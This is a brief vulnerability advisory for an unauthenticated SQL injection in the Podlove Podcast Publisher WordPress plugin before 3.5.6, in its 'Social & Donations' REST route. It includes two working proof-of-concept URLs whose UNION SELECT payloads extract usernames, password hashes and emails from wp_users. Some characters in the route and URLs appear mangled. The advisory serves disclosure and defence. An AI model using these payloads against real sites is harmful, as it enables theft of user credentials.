Podlove Podcast Publisher < 3.5.6 - Unauthenticated SQL Injection

The plugin contains a ‘Social & Donations’ module (not activated by default), which adds the rest route '/services/contributor/(?P[\d]+), takes an ‘id’ and ‘category’ parameters as arguments. Both parameters can be used for the SQLi.

PoC

With the ‘Social & Donations’ module of the plugin activated. Permalink Setting: Plain PoC with payload in id param: /index.php?rest_route=/podlove/v1/social/services/contributor/1&id;=1+UNION+SELECT+user_login,user_pass,user_email,null,null,null+FROM+wp_users%23 PoC with payload in category param: /index.php?rest_route=/podlove/v1/social/services/contributor/1&category;=1’)+UNION+SELECT+user_login,user_pass,user_email,null,null,null+FROM+wp_users%23